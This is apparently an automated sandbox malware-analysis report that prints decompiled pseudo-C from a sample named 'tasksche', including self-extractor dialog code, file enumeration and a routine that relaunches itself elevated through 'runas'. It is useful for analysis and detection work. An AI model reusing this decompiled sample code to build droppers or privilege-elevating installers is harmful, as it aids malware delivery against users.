										 *(_t360 + 0x65c8) = _t310;
										__eflags = _t310 - 0x18;
										if(_t310 > 0x18) {
											goto L36;
										}
										E0040B696(_t482 + 0x28, _t360 + 0x65cc, 0x10);
										__eflags =  *(_t360 + 0x65c4);
										if( *(_t360 + 0x65c4) != 0) {
											_t479 = _t360 + 0x65dc;
											E0040B696(_t482 + 0x28, _t360 + 0x65dc, 8);
											E0040B696(_t482 + 0x28, _t482 + 0x4c, 4);
											E004106AE(_t482 - 0x7c);
											E004109B0(_t482 - 0x7c, _t360 + 0x65dc, 8);
											E00410A29(_t482 + 0x28, _t460, __eflags, _t482 - 0x7c, _t482);
											_t327 = E0041AC04(_t482 + 0x4c, _t482, 4);
											asm("sbb al, al");
											_t329 =  ~_t327 + 1;
											__eflags = _t329;
											 *(_t360 + 0x65c4) = _t329;
										}
										 *((char*)(_t360 + 0xb05c)) = 1;
										goto L80;
									}
									L36:
									E00401CA3(_t360, _t360 + 0x1e);
									goto L87;
								}
								__eflags = _t243 - 5;
								if(_t243 == 5) {
									_t443 = _t243;
									memcpy(_t360 + 0x88e8, _t479, 0 << 2);
									_t466 = _t479 + _t443 + _t443;
									 *(_t360 + 0x8904) = E0040B60D(_t460) & 0x00000001;
									 *((char*)(_t360 + 0x8907)) = 0;
									 *((char*)(_t360 + 0x8905)) = 0;
									 *((char*)(_t360 + 0x8906)) = 0;
								}
								goto L80;
							}
							 *(_t482 + 0x18) = E0040B60D(_t460);
							_t335 =  *(_t360 + 0x6558);
							 *(_t482 + 0x1c) = _t460;
							__eflags = _t460;
							if(__eflags < 0) {
								goto L27;
							}
							if(__eflags > 0) {
								L26:
								E00401C80(_t360);
								goto L6;
							}
							__eflags =  *(_t482 + 0x18) - _t335;
							if(__eflags < 0) {
								goto L27;
							}
							goto L26;
						}
						E00401C80(_t360);
						 *((char*)(_t360 + 0xb064)) = 1;
						E004062BA(0x4335ac, 3);
						__eflags =  *((char*)(_t482 + 0x53));
						if( *((char*)(_t482 + 0x53)) == 0) {
							goto L22;
						} else {
							E0040639F(4, _t360 + 0x1e, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							goto L87;
						}
					} else {
						E00401C37(_t360, _t460, __eflags);
						goto L87;
					}
				}
				_t460 =  *(__ecx + 0xb044);
				_t343 =  *((intOrPtr*)(__ecx + 0xb060)) + 8;
				asm("adc ecx, edi");
				_t494 = _t460;
				if(_t494 < 0 || _t494 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t343) {
					goto L7;
				} else {
					 *((char*)(_t482 + 0x53)) = 1;
					E00401BBB(_t360);
					_t346 =  *((intOrPtr*)( *_t360 + 8))(_t482 + 0x10, 0x10);
					_t496 = _t346 - 0x10;
					if(_t346 == 0x10) {
						_t479 = _t360 + 0x1024;
						E00405FE7(_t479, _t460, _t466, 5,  *((intOrPtr*)(_t360 + 0x6524)) + 0x4024, _t360 + 0x65cc, _t482 + 0x10,  *(_t360 + 0x65c8), _t466, _t482 + 0x20);
						__eflags =  *(_t360 + 0x65c4);
						if( *(_t360 + 0x65c4) == 0) {
							L11:
							 *(_t482 + 0x44) = _t479;
							goto L12;
						}
						_t355 = E0041AC04(_t482 + 0x20, _t360 + 0x65dc, 8);
						_t485 = _t485 + 0xc;
						__eflags = _t355;
						if(_t355 == 0) {
							goto L11;
						} else {
							E00406376(6, _t360 + 0x1e);
							 *((char*)(_t360 + 0xb065)) = 1;
							E004062BA(0x4335ac, 0xb);
							goto L6;
						}
					}
					goto L5;
				}
			}

0x00402f2d
0x00402f35
0x00402f3f
0x00402f45
0x00402f46
0x00402f4d
0x00402f52
0x00402f5b
0x00402f5e
0x00402faf
0x00402faf
0x0040302f
0x00403034
0x00403039
0x0040303c
0x00402fa0
0x00402fa2
0x00402fa7
0x00402fa7
0x00403680
0x00403680
0x00403682
0x00403685
0x0040368a
0x0040368b
0x0040368d
0x00403693
0x0040369e
0x0040369e
0x00403045
0x0040304c
0x0040305c
0x00403066
0x00403068
0x0040306f
0x00403071
0x00403675
0x00403677
0x0040367c
0x0040367c
0x00000000
0x0040367c
0x00403077
0x00403079
0x00000000
0x00000000
0x0040307f
0x00403081
0x00403081
0x00403084
0x00403084
0x00403087
0x00403089
0x00000000
0x00000000
0x0040308f
0x00403092
0x00000000
0x00000000
0x0040309c
0x004030a1
0x004030a4
0x004030bd
0x004030c8
0x004030ce
0x004030d3
0x004030de
0x004030ea
0x004030f3
0x004030f5
0x004030fb
0x004030ff
0x00403103
0x0040313d
0x0040313d
0x0040313f
0x00403146
0x00403149
0x0040314c
0x0040317b
0x0040317b
0x00403182
0x00403185
0x00403188
0x00403192
0x00403195
0x00403195
0x004031a0
0x004031ad
0x004031b6
0x004031b9
0x004031bf
0x004031c5
0x004031cb
0x004031ce
0x0040358d
0x00403595
0x0040359c
0x0040359d
0x0040359d
0x004035a2
0x004035ac
0x004035ba
0x004035c8
0x004035d6
0x004035dc
0x004035e3
0x004035ea
0x004035ec
0x004035fe
0x004035fe
0x004035fe
0x004035ee
0x004035f6
0x004035f6
0x00403605
0x0040360c
0x0040361c
0x0040361c
0x0040361c
0x00000000
0x0040360e
0x0040360e
0x00403615
0x00000000
0x00000000
0x00403619
0x0040361e
0x0040361e
0x00403627
0x0040362a
0x00403632
0x00403633
0x00403639
0x0040363c
0x0040363c
0x00403641
0x00403647
0x0040364d
0x0040365f
0x0040365f
0x00403663
0x00403666
0x00403668
0x0040366b
0x00403670
0x00403671
0x00000000
0x00403671
0x0040364f
0x00000000
0x00000000
0x00403657
0x0040365d
0x00000000
0x00000000
0x00000000
0x0040365d
0x0040360c
0x004031d4
0x00000000
0x00000000
0x004031da
0x004031dd
0x004032f7
0x004032fa
0x00403300
0x00403302
0x00403302
0x00403308
0x0040330e
0x00403311
0x0040331b
0x0040331c
0x0040331e
0x00403325
0x00403328
0x00403334
0x00403338
0x0040333f
0x0040334d
0x00403358
0x00403367
0x00403367
0x00403369
0x0040336f
0x00403375
0x0040337c
0x00403382
0x00403382
0x00403388
0x0040338e
0x00403394
0x00403396
0x0040339c
0x004033a2
0x004033aa
0x004033aa
0x004033ac
0x00000000
0x004033a4
0x004033a4
0x004033ae
0x004033b1
0x004033b7
0x004033bd
0x004033c2
0x004033c9
0x004033cc
0x004033df
0x004033df
0x004033e4
0x004033ea
0x004033ed
0x004033f4
0x004033f9
0x00403404
0x00403404
0x0040340a
0x00403414
0x00403421
0x00403424
0x0040342c
0x00403437
0x0040343a
0x0040343f
0x00403442
0x0040344f
0x00403455
0x0040345b
0x00403461
0x00403464
0x0040346e
0x00403470
0x00403472
0x00403472
0x00403472
0x00403466
0x00403466
0x00403466
0x00403475
0x0040347f
0x00403492
0x00403496
0x0040349c
0x004034a2
0x004034af
0x004034af
0x004034af
0x00000000
0x004034a4
0x004034a4
0x004034a8
0x00000000
0x00000000
0x004034ac
0x004034b1
0x004034b7
0x004034c6
0x004034d5
0x004034e4
0x004034e6
0x004034f4
0x004034fa
0x00403500
0x00403502
0x00403504
0x00403504
0x00403511
0x00403516
0x00403523
0x0040352e
0x00403536
0x00403539
0x0040353b
0x0040353c
0x00403542
0x00403545
0x00403545
0x0040354a
0x0040354e
0x00403560
0x00403567
0x00403569
0x0040356b
0x0040356b
0x00403550
0x00403553
0x00403553
0x00403572
0x00403576
0x00403583
0x00403583
0x00000000
0x00403576
0x004034a2
0x004033a6
0x004033a8
0x00000000
0x00000000
0x00000000
0x004033a8
0x004033a2
0x004031e3
0x004031e6
0x00403227
0x0040322e
0x0040322e
0x00403233
0x00403238
0x0040323a
0x00403259
0x00403264
0x00403267
0x0040326d
0x00403270
0x00000000
0x00000000
0x0040327e
0x00403283
0x0040328a
0x0040328e
0x00403298
0x004032a6
0x004032af
0x004032bb
0x004032c8
0x004032d7
0x004032e1
0x004032e3
0x004032e3
0x004032e5
0x004032e5
0x004032eb
0x00000000
0x004032eb
0x0040323c
0x00403242
0x00000000
0x00403242
0x004031e8
0x004031eb
0x004031f2
0x004031f9
0x004031f9
0x00403205
0x0040320b
0x00403212
0x00403219
0x00403219
0x00000000
0x004031eb
0x00403158
0x0040315b
0x00403161
0x00403164
0x00403166
0x00000000
0x00000000
0x00403168
0x0040316f
0x00403171
0x00000000
0x00403171
0x0040316a
0x0040316d
0x00000000
0x00000000
0x00000000
0x0040316d
0x00403107
0x00403113
0x0040311a
0x0040311f
0x00403123
0x00000000
0x00403125
0x0040312c
0x00403131
0x00000000
0x00403131
0x004030a6
0x004030a8
0x00000000
0x004030a8
0x004030a4
0x00402f66
0x00402f6e
0x00402f71
0x00402f73
0x00402f75
0x00000000
0x00402f83
0x00402f85
0x00402f89
0x00402f98
0x00402f9b
0x00402f9e
0x00402fd9
0x00402fe2
0x00402fe7
0x00402fee
0x0040302c
0x0040302c
0x00000000
0x0040302c
0x00402ffd
0x00403002
0x00403005
0x00403007
0x00000000
0x00403009
0x0040300f
0x0040301b
0x00403022
0x00000000
0x00403022
0x00403007
0x00000000
0x00402f9e

APIs

__EH_prolog.LIBCMT ref: 00402F35
_memcmp.LIBCMT ref: 00402FFD
_memcmp.LIBCMT ref: 004032D7

Strings

CMT, xrefs: 0040355A
@, xrefs: 004034A4

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memcmp$H_prolog
String ID: @$CMT
API String ID: 212800410-3935043585
Opcode ID: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction ID: 4535b6ba2d5654eb70152741eafeedd3820f65e0183003bc7b62017ff8f1088e
Opcode Fuzzy Hash: f7efa0f1f901984cc3855dbe14d8362dcde98928de1018f3c2431534fcf72b9a
Instruction Fuzzy Hash: 252215715006849FDB24DF24C891BDA3BE5AF14308F08057FED4AEB2C6DB799588CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409476 Relevance: 7.6, APIs: 5, Instructions: 111
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00409476(intOrPtr __edx, signed int _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				signed int _t51;
				signed int _t57;
				signed int _t71;
				void* _t73;
				long _t76;
				char _t77;
				void* _t81;
				intOrPtr _t87;
				intOrPtr _t90;

				_t87 = __edx;
				E0041AAF0(0x1250);
				_t90 = _a12;
				_push( &_v596);
				if(_a4 != 0xffffffff) {
					_t51 = FindNextFileW(_a4, ??);
					__eflags = _t51;
					if(_t51 == 0) {
						_a4 = _a4 | 0xffffffff;
						_t71 = GetLastError();
						__eflags = _t71 - 0x12;
						_t16 = _t71 != 0x12;
						__eflags = _t16;
						 *((char*)(_t90 + 0x1044)) = _t71 & 0xffffff00 | _t16;
					}
					__eflags = _a4 - 0xffffffff;
					if(_a4 != 0xffffffff) {
						goto L13;
					}
				} else {
					_t73 = FindFirstFileW(_a8, ??); // executed
					_a4 = _t73;
					if(_t73 != 0xffffffff) {
						L13:
						E00410B9C(_t90, _a8, 0x800);
						_push(0x800);
						E0040A745(__eflags, _t90,  &(_v596.cFileName));
						_t57 = E0041ABD0(_v596.nFileSizeHigh, 0, 0, 1) + _v596.nFileSizeLow;
						__eflags = _t57;
						 *(_t90 + 0x1000) = _t57;
						 *(_t90 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t90 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t90 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t90 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t90 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t90 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t90 + 0x103c)) = _v572;
						asm("adc edx, edi");
						 *((intOrPtr*)(_t90 + 0x1004)) = _t87;
						E00411333(_t90 + 0x1010,  &(_v596.ftLastWriteTime));
						E00411333(_t90 + 0x1018,  &(_v596.ftCreationTime));
						E00411333(_t90 + 0x1020,  &(_v596.ftLastAccessTime));
					} else {
						if(E0040A3DC(_a8,  &_v4692, 0x800) == 0) {
							L4:
							_t76 = GetLastError();
							if(_t76 == 2 || _t76 == 3 || _t76 == 0x12) {
								_t77 = 0;
								__eflags = 0;
							} else {
								_t77 = 1;
							}
							 *((char*)(_t90 + 0x1044)) = _t77;
						} else {
							_t81 = FindFirstFileW( &_v4692,  &_v596);
							_a4 = _t81;
							if(_t81 != 0xffffffff) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t90 + 0x1040) =  *(_t90 + 0x1040) & 0x00000000;
				return _a4;
			}

0x00409476
0x0040947e
0x00409489
0x00409498
0x00409499
0x00409508
0x0040950e
0x00409510
0x00409512
0x00409516
0x0040951c
0x0040951f
0x0040951f
0x00409522
0x00409522
0x00409528
0x0040952c
0x00000000
0x00000000
0x0040949b
0x004094a4
0x004094a6
0x004094ac
0x00409532
0x00409537
0x0040953c
0x00409545
0x00409563
0x00409563
0x00409565
0x00409571
0x0040957d
0x00409589
0x00409595
0x004095a1
0x004095ad
0x004095b9
0x004095c5
0x004095ce
0x004095d4
0x004095e6
0x004095f8
0x004094b2
0x004094c4
0x004094de
0x004094de
0x004094e7
0x004094f8
0x004094f8
0x004094f3
0x004094f5
0x004094f5
0x004094fa
0x004094c6
0x004094d4
0x004094d6
0x004094dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004094dc
0x004094c4
0x004094ac
0x004095fd
0x0040960b

APIs

FindFirstFileW.KERNELBASE(?,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094A4
FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 004094D4
GetLastError.KERNEL32(?,?,00000800,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004094DE
FindNextFileW.KERNEL32(000000FF,?,00000800,?,?,?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000), ref: 00409508
GetLastError.KERNEL32(?,004096E5,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 00409516

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction ID: 852f22f8762d0aaf1b59ecd7198268998001e7cc0733578d9edc4610c3c70bd0
Opcode Fuzzy Hash: 2a733cbadd2ca7cd29a11b90f53c863ddd5810a24544a1ec061ee6039bd7df5a
Instruction Fuzzy Hash: 2E414071500648ABCB21DF29CC84ADA77F8AF48350F10466AF9AEE2291D774AEC1DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040F58D Relevance: 112.7, APIs: 55, Strings: 9, Instructions: 691
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040F58D(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t112;
				void* _t114;
				long _t115;
				long _t116;
				struct HWND__* _t118;
				WCHAR* _t123;
				void* _t127;
				int _t128;
				void* _t145;
				void* _t148;
				WCHAR* _t154;
				signed int _t161;
				struct HWND__* _t164;
				void* _t175;
				void* _t178;
				void* _t180;
				struct HWND__* _t187;
				intOrPtr _t195;
				WCHAR* _t196;
				long _t201;
				void* _t223;
				void* _t225;
				void* _t235;
				void* _t247;
				long _t249;
				long _t250;
				long _t251;
				signed int _t256;
				int _t260;
				int _t262;
				void* _t267;
				void* _t271;
				intOrPtr _t289;
				intOrPtr _t290;
				int _t303;
				long _t308;
				void* _t312;
				struct HWND__* _t316;
				void* _t318;
				void* _t320;
				void* _t325;

				_t325 = __fp0;
				_t299 = __edx;
				_t283 = __ecx;
				E0041A4DC(E004297DB, _t318);
				E0041AAF0(0x9c94);
				_t316 =  *(_t318 + 8);
				_t112 = E004060EE(__edx, _t316,  *(_t318 + 0xc),  *(_t318 + 0x10),  *(_t318 + 0x14), L"STARTDLG", 0, 0); // executed
				if(_t112 == 0) {
					_t114 =  *(_t318 + 0xc) - 0x110;
					__eflags = _t114;
					if(_t114 == 0) {
						_t115 =  *0x43981c;
						 *0x441840 = _t316;
						 *0x441844 = _t316;
						__eflags = _t115;
						if(_t115 != 0) {
							SendMessageW(_t316, 0x80, 1, _t115); // executed
						}
						_t116 =  *0x439818;
						__eflags = _t116;
						if(__eflags != 0) {
							SendDlgItemMessageW(_t316, 0x6c, 0x172, 0, _t116); // executed
						}
						E0040DBC1(_t299, __eflags, _t325, _t316);
						_t118 = GetDlgItem(_t316, 0x68);
						 *(_t318 + 0x14) = _t118;
						SendMessageW(_t118, 0x435, 0, 0x400000);
						E00419C9B(_t318 - 0x1164, 0x800);
						 *(_t318 + 0x10) = GetDlgItem(_t316, 0x66);
						_t123 = 0x44187a;
						__eflags =  *0x44187a;
						if( *0x44187a == 0) {
							_t123 = _t318 - 0x1164;
						}
						SetWindowTextW( *(_t318 + 0x10), _t123);
						E00419CB2( *(_t318 + 0x10)); // executed
						_push(0x441858);
						_push(0x44184c);
						_push(0x439820);
						_push(_t316);
						 *0x441848 = 0; // executed
						E0040E75F(_t283, _t299, __eflags); // executed
						__eflags =  *0x441858;
						if( *0x441858 > 0) {
							_push(7);
							_push( *0x44184c);
							_push(_t316);
							E0040E857(_t316);
						}
						__eflags =  *0x44185c;
						if( *0x44185c != 0) {
							_t303 = 1;
							__eflags = 1;
						} else {
							SetDlgItemTextW(_t316, 0x6b, E0040C3BF(0xbf));
							_t154 = E0040C3BF(0xbe);
							_t303 = 1;
							SetDlgItemTextW(_t316, 1, _t154);
						}
						__eflags =  *0x441858;
						if( *0x441858 <= 0) {
							L103:
							__eflags =  *0x441848;
							if( *0x441848 != 0) {
								L114:
								__eflags =  *0x441874 - 2;
								if( *0x441874 == 2) {
									EnableWindow( *(_t318 + 0x10), 0);
								}
								__eflags =  *0x441870;
								if( *0x441870 != 0) {
									E004060AB(_t316, 0x67, 0);
									E004060AB(_t316, 0x66, 0);
								}
								_t127 =  *0x441874;
								__eflags = _t127;
								if(_t127 != 0) {
									__eflags =  *0x44183c;
									if( *0x44183c == 0) {
										_push(0);
										_push(_t303);
										_push(0x111);
										_push(_t316);
										__eflags = _t127 - _t303;
										if(_t127 != _t303) {
											PostMessageW();
										} else {
											SendMessageW(); // executed
										}
									}
								}
								__eflags =  *0x441832;
								if( *0x441832 != 0) {
									SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
								}
								goto L125;
							}
							__eflags =  *0x441850;
							if( *0x441850 != 0) {
								goto L114;
							}
							__eflags =  *0x441874;
							if( *0x441874 != 0) {
								goto L114;
							}
							__eflags = 0;
							 *((short*)(_t318 - 0x9688)) = 0;
							 *(_t318 + 0xc) = 0xaa;
							do {
								__eflags =  *(_t318 + 0xc) - 0xaa;
								if( *(_t318 + 0xc) != 0xaa) {
									L109:
									__eflags =  *(_t318 + 0xc) - 0xab;
									if( *(_t318 + 0xc) != 0xab) {
										L111:
										E0041A7C9(_t318 - 0x9688, " ");
										E0041A7C9(_t318 - 0x9688, E0040C3BF( *(_t318 + 0xc)));
										goto L112;
									}
									__eflags =  *0x44185c;
									if( *0x44185c != 0) {
										goto L112;
									}
									goto L111;
								}
								__eflags =  *0x44185c;
								if( *0x44185c == 0) {
									goto L112;
								}
								goto L109;
								L112:
								 *(_t318 + 0xc) =  &( *(_t318 + 0xc)->i);
								__eflags =  *(_t318 + 0xc) - 0xb0;
							} while (__eflags <= 0);
							_t289 =  *0x438814; // 0x19fe80
							E00419A9D(_t289, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t318 - 0x9688, 0, 0);
							_t303 = 1;
							__eflags = 1;
							goto L114;
						} else {
							_push(0);
							_push( *0x44184c);
							_push(_t316); // executed
							E0040E857(_t316); // executed
							_t145 =  *0x441850;
							__eflags = _t145;
							if(_t145 != 0) {
								__eflags =  *0x441874;
								if(__eflags == 0) {
									_t290 =  *0x438814; // 0x19fe80
									E00419A9D(_t290, __eflags,  *0x4335a4,  *(_t318 + 0x14), _t145, 0, 0);
									_push( *0x441850);
									E0041A506(0, _t303, _t316, __eflags);
								}
							}
							__eflags =  *0x441874 - _t303;
							if( *0x441874 == _t303) {
								L102:
								_push(_t303);
								_push( *0x44184c);
								_push(_t316);
								E0040E857(_t316);
								goto L103;
							} else {
								SetForegroundWindow(_t316);
								__eflags =  *0x441874 - _t303;
								if( *0x441874 == _t303) {
									goto L102;
								}
								__eflags =  *0x441879;
								if( *0x441879 != 0) {
									goto L102;
								}
								_t148 = DialogBoxParamW( *0x4335a4, L"LICENSEDLG", 0, E0040F47B, 0);
								__eflags = _t148;
								if(_t148 != 0) {
									goto L102;
								}
								 *0x44183c = 1;
								L101:
								EndDialog(_t316, _t303);
								L125:
								_t128 = _t303;
								L126:
								goto L127;
							}
						}
					}
					__eflags = _t114 != 1;
					if(_t114 != 1) {
						L7:
						_t128 = 0;
						goto L126;
					}
					_t161 = ( *(_t318 + 0x10) & 0x0000ffff) - 1;
					__eflags = _t161;
					if(_t161 == 0) {
						__eflags =  *0x44ef31;
						if( *0x44ef31 == 0) {
							_t308 = 0x800;
							GetDlgItemTextW(_t316, 0x66, _t318 - 0x2164, 0x800);
							__eflags =  *0x441833;
							if( *0x441833 == 0) {
								__eflags =  *0x441832;
								if( *0x441832 == 0) {
									_t164 = GetDlgItem(_t316, 0x68);
									 *(_t318 + 0xc) = _t164;
									__eflags =  *0x441838;
									if( *0x441838 == 0) {
										SendMessageW(_t164, 0xb1, 0, 0xffffffff);
										SendMessageW( *(_t318 + 0xc), 0xc2, 0, 0x42a73c);
										_t308 = 0x800;
									}
									SetFocus( *(_t318 + 0xc));
									__eflags =  *0x441870;
									if( *0x441870 == 0) {
										E00410B9C(_t318 - 0x1164, _t318 - 0x2164, _t308);
										E0040DD7E(_t318, _t318 - 0x1164, _t308);
										E0040BC16(_t318 - 0x3264, 0x880, E0040C3BF(0xb9), _t318 - 0x1164);
										_t320 = _t320 + 0x10;
										_t175 = _t318 - 0x3264;
									} else {
										_t175 = E0040C3BF(0xba);
									}
									E0040D298(0, _t175); // executed
									__eflags =  *0x441879;
									if( *0x441879 == 0) {
										E0040DA8C(_t316, _t318 - 0x2164); // executed
									}
									 *(_t318 + 0xf) = 0;
									_t178 = E0040935F(0, _t283, _t308, _t318 - 0x2164, 0); // executed
									__eflags = _t178;
									if(_t178 != 0) {
										L38:
										_t180 = E00419C88(_t318 - 0x2164);
										 *(_t318 + 0x13) = _t180;
										__eflags = _t180;
										if(_t180 == 0) {
											_t250 = GetLastError();
											__eflags = _t250 - 5;
											if(_t250 == 5) {
												 *(_t318 + 0xf) = 1;
											}
										}
										__eflags =  *0x441879;
										if( *0x441879 != 0) {
											L47:
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) != 0) {
												_t303 = 1;
												 *0x441834 = 1;
												E004060C9(_t316, 0x67, 0);
												E004060C9(_t316, 0x66, 0);
												SetDlgItemTextW(_t316, 1, E0040C3BF(0xe6)); // executed
												E004060C9(_t316, 0x69, 1);
												SetDlgItemTextW(_t316, 0x65, 0x42a73c); // executed
												_t187 = GetDlgItem(_t316, 0x65);
												 *(_t318 + 0xc) = _t187;
												__eflags = _t187;
												if(_t187 != 0) {
													_t201 = GetWindowLongW(_t187, 0xfffffff0) | 0x00000080;
													__eflags = _t201;
													SetWindowLongW( *(_t318 + 0xc), 0xfffffff0, _t201);
												}
												_push(5);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(2);
												_push( *0x44184c);
												_push(_t316);
												E0040E857(_t316);
												_push(0x439820);
												_push(_t316);
												 *0x44ef31 = 1; // executed
												E0040E2D7(_t283, _t299, __eflags); // executed
												_push(6);
												_push( *0x44184c);
												 *0x44ef31 = 0;
												_push(_t316);
												E0040E857(_t316);
												__eflags =  *0x44183c;
												if( *0x44183c == 0) {
													__eflags =  *0x441838;
													if( *0x441838 == 0) {
														__eflags =  *0x441868;
														if( *0x441868 == 0) {
															_push(4);
															_push( *0x44184c);
															_push(_t316);
															E0040E857(_t316);
														}
													}
												}
												E004060AB(_t316, _t303, _t303);
												 *0x441834 = 0;
												L75:
												__eflags =  *0x441838;
												if( *0x441838 <= 0) {
													goto L101;
												}
												__eflags =  *0x44183c;
												if( *0x44183c != 0) {
													goto L101;
												}
												 *0x441833 = 1;
												SetDlgItemTextW(_t316, _t303, E0040C3BF(0x90));
												_t195 =  *0x4335ac; // 0x3
												__eflags = _t195 - 9;
												if(_t195 != 9) {
													__eflags = _t195 - 3;
													_t282 = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
													__eflags = ((_t195 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
												} else {
													_t282 = 0xa0;
												}
												_t196 = E0040C3BF(0x96);
												MessageBoxW(_t316, E0040C3BF(_t282), _t196, 0x30); // executed
												goto L125;
											}
											__eflags =  *0x441879;
											if( *0x441879 != 0) {
												 *(_t318 + 0xf) = 0;
											}
											goto L50;
										} else {
											__eflags =  *(_t318 + 0x13);
											if( *(_t318 + 0x13) == 0) {
												L50:
												__eflags =  *(_t318 + 0xf);
												 *(_t318 + 0xf) =  *(_t318 + 0xf) == 0;
												__eflags =  *(_t318 + 0xf);
												if( *(_t318 + 0xf) != 0) {
													L64:
													_push(E0040C3BF(0x9a));
													E0040BC16(_t318 - 0x4664, 0xa00, L"\"%s\"\n%s", _t318 - 0x2164);
													E004062BA(0x4335ac, 1);
													MessageBoxW(_t316, _t318 - 0x4664, E0040C3BF(0x96), 0x30);
													 *0x441838 =  *0x441838 + 1;
													__eflags =  *0x441838;
													L65:
													_push(0);
													L66:
													EndDialog(_t316, ??);
													goto L67;
												}
												GetModuleFileNameW(0, _t318 - 0x1164, 0x800);
												E0040CFFA(0x44387a, _t318 - 0x164, 0x80);
												_push(0x44287a);
												_push(_t318 - 0x164);
												E0040BC16(_t318 - 0x9ca0, 0x230c, L"-el -s2 \"-d%s\" \"-p%s\" \"-sp%s\"", _t318 - 0x2164);
												_t320 = _t320 + 0x18;
												 *((intOrPtr*)(_t318 - 0x38)) = _t318 - 0x1164;
												 *(_t318 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t318 - 0x44)) = 0x40;
												 *(_t318 - 0x40) = _t316;
												 *((intOrPtr*)(_t318 - 0x3c)) = L"runas";
												 *((intOrPtr*)(_t318 - 0x34)) = _t318 - 0x9ca0;
												 *((intOrPtr*)(_t318 - 0x30)) = 0x42a664;
												 *(_t318 - 0x2c) = 1;
												 *((intOrPtr*)(_t318 - 0x28)) = 0;
												_t223 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7002, L"winrarsfxmappingfile.tmp");
												 *(_t318 + 0x10) = _t223;
												__eflags = _t223;
												if(_t223 != 0) {
													 *0x43a820 = 0;
													_t235 = GetCommandLineW();
													__eflags = _t235;
													if(_t235 != 0) {
														E00410B9C(0x43a822, _t235, 0x2000);
													}
													E0040D212(0x44387a, 0x43e822, 7);
													E0040D212(0x44387a, 0x43f822, 2);
													E0040D212(0x44387a, 0x440822, 0x10);
													 *(_t318 + 0x14) = MapViewOfFile( *(_t318 + 0x10), 2, 0, 0, 0);
													E0041C290(0, 0x7002, _t316, _t239, 0x43a820, 0x7002);
													_t320 = _t320 + 0xc;
												}
												_t225 = ShellExecuteExW(_t318 - 0x48);
												E0040CFA3(_t318 - 0x164, 0x80);
												E0040CFA3(_t318 - 0x9ca0, 0x230c);
												__eflags = _t225;
												if(_t225 == 0) {
													 *(_t318 + 0xf) = 1;
													goto L61;
												} else {
													WaitForInputIdle( *(_t318 - 0x10), 0x2710);
													_t312 = 0;
													__eflags = 0;
													while(1) {
														__eflags =  *( *(_t318 + 0x14));
														if( *( *(_t318 + 0x14)) != 0) {
															break;
														}
														Sleep(0x64);
														_t312 = _t312 + 1;
														__eflags = _t312 - 0x64;
														if(_t312 < 0x64) {
															continue;
														}
														break;
													}
													 *0x441868 =  *(_t318 - 0x10);
													L61:
